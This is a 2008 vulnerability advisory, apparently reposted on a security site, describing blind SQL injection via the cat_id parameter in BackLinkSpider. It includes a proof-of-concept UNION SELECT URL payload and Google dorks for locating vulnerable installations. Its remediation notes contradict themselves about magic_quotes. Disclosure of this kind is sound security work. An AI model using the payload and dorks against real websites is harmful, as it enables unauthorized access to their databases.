BackLinkSpider (cat_id) Blind Sql Injection Vulnerability

2008.05.07
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-89


CVSS Base Score: 6.8/10
Impact Subscore: 6.4/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

ECHO_ADV_95$2008 ------------------------------------------------------------------------ ----------------- [ECHO_ADV_95$2008] BackLinkSpider (cat_id) Blind Sql Injection Vulnerability ------------------------------------------------------------------------ ----------------- Author : M.Hasran Addahroni Date : May, 5 th 2008 Location : Jakarta, Indonesia Web : http://advisories.echo.or.id/adv/adv95-K-159-2008.txt Critical Lvl : Medium Impact : System access Where : From Remote ------------------------------------------------------------------------ --- Affected software description: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Application : BackLinkSpider version : unknown Vendor : http://www.backlinkspider.com/ Description : BackLinkSpider is a free link exchange service designed to provide you with access to a growing number of link exchange partners in our link directory page ------------------------------------------------------------------------ --- Vulnerability: ~~~~~~~~~~~~~~ Input passed to the "cat_id" parameter in backlinkspider's page is not properly verified before being used to sql query. This can be exploited to execute sql query through the browser. Successful exploitation requires that "magic_quotes" is enabled. Poc/Exploit: ~~~~~~~~~~ http://www.target.com/[backlinkspider_page_name].php?cat_id=[SQL] http://www.target.com/[backlinkspider_page_name].php?cat_id=-1%20union%2 0select%201,2,3,4,5,6,7,8,9,0,1,version(),3,4,5,6,7,8,9,0/* Dork: ~~~~~ Google : "Powered By BackLinkSpider" "inurl:backlinkspider.php" Solution: ~~~~~~~ - Edit the source code to ensure that input is properly verified. - Turn on magic_quotes in php.ini Timeline: ~~~~~~~~~ - 03 - 05 - 2008 bug found - 05 - 05 - 2008 advisory released ------------------------------------------------------------------------ --- Shoutz: ~~~~~ ~ ping - my dearest wife, zautha my light of eyes, for all the luv the tears n the breath ~ y3dips,the_day,moby,comex,z3r0byt3,c-a-s-e,S`to,lirva32,pushm0v, az01,negative,the_hydra,neng chika, str0ke ~ everybody [at] SCAN-NUSANTARA and SCAN-ASSOSIATES ~ masterpop3,maSter-oP,Lieur-Euy,Mr_ny3m,bithedz,murp,sakitjiwa,x16,an0mal y,cybertank,super_temon,b120t0,inggar,fachri,adi,rahmat,indra,cyb3rh3b ~ dr188le,SinChan,h4ntu,cow_1seng,poniman_coy, ketut, rizal, cR4SH3R, kuntua, stev_manado, nofry,k1tk4t,0pt1c ~ newbie_hacker (at) yahoogroups (dot) com [email concealed] ~ #aikmel #e-c-h-o @irc.dal.net ~ special for rgod - good bye mate, thanks for the great works. ------------------------------------------------------------------------ --- Contact: ~~~~~~ K-159 || echo|staff || eufrato[at]gmail[dot]com Homepage: http://k-159.echo.or.id/ -------------------------------- [ EOF ] ----------------------------------


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2020, cxsecurity.com

 

Back to Top